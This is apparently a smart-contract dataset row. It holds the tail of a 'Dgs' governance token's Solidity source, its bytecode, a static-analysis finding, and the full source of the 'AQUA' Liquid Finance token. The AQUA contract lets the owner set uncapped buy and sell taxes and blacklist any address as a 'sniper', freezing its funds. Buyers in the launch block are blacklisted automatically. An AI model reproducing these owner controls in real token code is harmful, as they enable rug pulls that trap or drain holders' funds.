uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Dgs::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Dgs::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611738565b60405180910390f35b610157610152366004611205565b6102e5565b60405161013b919061168e565b61016c6103a2565b60405161013b919061169c565b61016c6103b2565b61015761018f3660046111b8565b6103c9565b61019c61050e565b60405161013b91906117d2565b6101bc6101b7366004611158565b610513565b60405161013b9190611680565b6101dc6101d7366004611158565b61052e565b005b6101f16101ec366004611158565b61053b565b60405161013b91906117a9565b61016c61020c366004611158565b610553565b61022461021f366004611205565b610577565b60405161013b91906117ee565b61016c61023f366004611158565b61078e565b61012e6107a0565b61015761025a366004611205565b6107bf565b61022461026d366004611158565b6107fb565b6101dc610280366004611235565b61086b565b61016c61029336600461117e565b610a55565b61016c610a87565b6102b36102ae3660046112bc565b610a93565b60405161013b9291906117b7565b604051806040016040528060088152602001670476f6f64537761760c41b81525081565b6000806000198314156102fb5750600019610320565b61031d836040518060600160405280602481526020016119ea60249139610ac8565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038e9085906117e0565b60405180910390a360019150505b92915050565b6b2d3c8750bd670354b000000081565b6040516103be9061166a565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602480845291936001600160601b0390911692859261041f92889291906119ea90830139610ac8565b9050866001600160a01b0316836001600160a01b03161415801561044c57506001600160601b0382811614155b156104f457600061047683836040518060600160405280603c8152602001611909603c9139610af7565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104ea9085906117e0565b60405180910390a3505b6104ff878783610b36565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105383382610ce1565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105a15760405162461bcd60e51b815260040161059890611769565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105cf57600091505061039c565b6001600160a01b038416600090815260036020908152604080832063ffffffff60001986018116855292529091205416831061064b576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039c565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561068657600091505061039c565b600060001982015b8163ffffffff168163ffffffff16111561074957600282820363ffffffff160481036106b8611115565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107245760200151945061039c9350505050565b805163ffffffff1687111561073b57819350610742565b6001820392505b505061068e565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600381526020016247445360e81b81525081565b6000806107e48360405180606001604052806025815260200161199e60259139610ac8565b90506107f1338583610b36565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610826576000610507565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108799061166a565b6040805191829003822082820190915260088252670476f6f64537761760c41b6020909201919091527f3f577454eec7077a4cc7c854401db2a81aea17198a4af342af915dcab3f55f096108cb610d6b565b306040516020016108df94939291906116e8565b604051602081830303815290604052805190602001209050600060405161090590611675565b604051908190038120610920918a908a908a906020016116aa565b6040516020818303038152906040528051906020012090506000828260405160200161094d929190611639565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161098a949392919061171d565b6020604051602081039080840390855afa1580156109ac573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109df5760405162461bcd60e51b815260040161059890611749565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a1e5760405162461bcd60e51b815260040161059890611759565b87421115610a3e5760405162461bcd60e51b815260040161059890611779565b610a48818b610ce1565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103be90611675565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610aef5760405162461bcd60e51b81526004016105989190611738565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b2e5760405162461bcd60e51b81526004016105989190611738565b505050900390565b6001600160a01b038316610b5c5760405162461bcd60e51b815260040161059890611799565b6001600160a01b038216610b825760405162461bcd60e51b815260040161059890611789565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526035808452610bcd936001600160601b0390921692859291906118d490830139610af7565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602f808452610c359491909116928592909190611a0e90830139610d6f565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ca29085906117e0565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610cdc92918216911683610dab565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d65828483610dab565b50505050565b4690565b6000838301826001600160601b038087169083161015610da25760405162461bcd60e51b81526004016105989190611738565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610dd657506000816001600160601b0316115b15610cdc576001600160a01b03831615610e8e576001600160a01b03831660009081526004602052604081205463ffffffff169081610e16576000610e55565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610e7c82856040518060600160405280602781526020016119c360279139610af7565b9050610e8a86848484610f39565b5050505b6001600160a01b03821615610cdc576001600160a01b03821660009081526004602052604081205463ffffffff169081610ec9576000610f08565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f2f828560405180606001604052806026815260200161194560269139610d6f565b9050610a4d858484845b6000610f5d4360405180606001604052806033815260200161196b603391396110ee565b905060008463ffffffff16118015610fa657506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611005576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110a4565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516110df9291906117fc565b60405180910390a25050505050565b600081600160201b8410610aef5760405162461bcd60e51b81526004016105989190611738565b604080518082019091526000808252602082015290565b803561039c816118a4565b803561039c816118b8565b803561039c816118c1565b803561039c816118ca565b60006020828403121561116a57600080fd5b6000611176848461112c565b949350505050565b6000806040838503121561119157600080fd5b600061119d858561112c565b92505060206111ae8582860161112c565b9150509250929050565b6000806000606084860312156111cd57600080fd5b60006111d9868661112c565b93505060206111ea8682870161112c565b92505060406111fb86828701611137565b9150509250925092565b6000806040838503121561121857600080fd5b6000611224858561112c565b92505060206111ae85828601611137565b60008060008060008060c0878903121561124e57600080fd5b600061125a898961112c565b965050602061126b89828a01611137565b955050604061127c89828a01611137565b945050606061128d89828a0161114d565b935050608061129e89828a01611137565b92505060a06112af89828a01611137565b9150509295509295509295565b600080604083850312156112cf57600080fd5b60006112db858561112c565b92505060206111ae85828601611142565b6112f581611829565b82525050565b6112f581611834565b6112f581611839565b6112f561131982611839565b611839565b600061132982611817565b611333818561181b565b935061134381856020860161186e565b61134c8161189a565b9093019392505050565b6000611363600283611824565b61190160f01b815260020192915050565b600061138160258361181b565b7f4467733a3a64656c656761746542795369673a20696e76616c6964207369676e815264617475726560d81b602082015260400192915050565b60006113c860218361181b565b7f4467733a3a64656c656761746542795369673a20696e76616c6964206e6f6e638152606560f81b602082015260400192915050565b600061140b604383611824565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611476603a83611824565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b60006114d560268361181b565b7f4467733a3a6765745072696f72566f7465733a206e6f742079657420646574658152651c9b5a5b995960d21b602082015260400192915050565b600061151d60258361181b565b7f4467733a3a64656c656761746542795369673a207369676e61747572652065788152641c1a5c995960da1b602082015260400192915050565b600061156460398361181b565b7f4467733a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726181527f6e7366657220746f20746865207a65726f206164647265737300000000000000602082015260400192915050565b60006115c3603b8361181b565b7f4467733a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726181527f6e736665722066726f6d20746865207a65726f20616464726573730000000000602082015260400192915050565b6112f581611848565b6112f581611851565b6112f581611863565b6112f581611857565b600061164482611356565b9150611650828561130d565b602082019150611660828461130d565b5060200192915050565b600061039c826113fe565b600061039c82611469565b6020810161039c82846112ec565b6020810161039c82846112fb565b6020810161039c8284611304565b608081016116b88287611304565b6116c560208301866112ec565b6116d26040830185611304565b6116df6060830184611304565b95945050505050565b608081016116f68287611304565b6117036020830186611304565b6117106040830185611304565b6116df60608301846112ec565b6080810161172b8287611304565b6116c5602083018661161e565b60208082528101610507818461131e565b6020808252810161039c81611374565b6020808252810161039c816113bb565b6020808252810161039c816114c8565b6020808252810161039c81611510565b6020808252810161039c81611557565b6020808252810161039c816115b6565b6020810161039c8284611615565b604081016117c58285611615565b6105076020830184611630565b6020810161039c828461161e565b6020810161039c8284611627565b6020810161039c8284611630565b6040810161180a8285611627565b6105076020830184611627565b5190565b90815260200190565b919050565b600061039c8261183c565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061039c82611857565b60005b83811015611889578181015183820152602001611871565b83811115610d655750506000910152565b601f01601f191690565b6118ad81611829565b811461053857600080fd5b6118ad81611839565b6118ad81611848565b6118ad8161185156fe4467733a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654467733a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654467733a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734467733a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734467733a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734467733a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734467733a3a617070726f76653a20616d6f756e74206578636565647320393620626974734467733a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a365627a7a7231582075d2d9d9a696cc10e483c2f383af1d3b07689b656645c2cafd5973934afa2cdc6c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,047 |
0x479aba9a0c6ccaa30799645f6ac0d825d0e7c2a9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⢤⠤⢀⠀⢀⠀⣀⠔⠄⠀⠐⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⡀⠄⢀⣿⡟⡀⠀⠠⣭⠕⠀⠀⠀⠈⠱⣿⣶⣷⡅⠀⢁⠀⠁
// ⠀⠀⠀⡀⠀⠂⠁⣀⣀⣾⣿⣥⣤⡴⣿⡏⢠⢆⠀⠀⢀⠀⠙⠟⡻⠃⠀⢸⡡⠀
// ⠀⡀⠈⠀⠀⠀⣠⡶⠛⢻⠛⣿⢺⣁⢁⢇⢸⠀⠆⠄⠈⣄⢤⣷⠁⠄⠠⠾⢋⠂
// ⠀⠀⠀⠀⣠⣾⠏⠀⠀⡄⠀⢸⠡⠻⠂⠀⠂⢘⣾⡜⡄⢇⠠⢺⡄⠈⠂⠈⠀⠀
// ⠁⡀⠀⠈⠉⣱⢄⡀⠀⠃⠀⠈⠀⠈⠀⠀⠀⠠⠌⠁⡿⠪⢔⢿⣿⣄⠑⠓⠀⠀
// ⠀⠈⠢⡀⣼⠳⠟⡛⠂⠴⢀⢠⣄⠀⠀⠐⠀⠀⡈⠐⡅⠆⡈⠀⠙⠿⠡⠦⠔⠀
// ⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⢸⡆⡿⠷⣀⠐⠀⣸⠄⣰⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠐⠐⢄⢠⣾⣍⡄⠀⠉⠛⠋⠩⠞⠛⣃⣽⡀⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⠀⢼⣮⣹⣿⣏⣷⠟⠿⣽⣯⣶⡟⠉⠈⡇⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣬⣽⣿⢰⡶⣿⣿⢹⣾⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣉⠉⡛⠟⣮⣤⣿⣿⠀⠀⣬⠈⢂⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⢀⣾⢞⡿⠿⠿⠇⠀⢿⣼⣿⣿⣿⡿⠒⠖⡈⢆⠈⠄⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⡼⠡⠀⢷⣶⣤⡄⠀⠀⠙⣻⣿⣟⢁⣠⡴⠔⠈⡆⠈⠄⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠃⠸⠴⠿⣿⣇⣰⣶⣤⣀⣁⡀⠙⠯⠪⠦⠀⠒⠒⠀⠀⠀⠀⠀
//
//
// Telegram: https://t.me/liquidfinance
// Website: https://liquidfinance.co
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AQUA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Liquid Finance";
string private constant _symbol = "AQUA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD9B638f1aaC77b13110Fce069D8a4BE9718Df6E7);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createNewPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount);
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
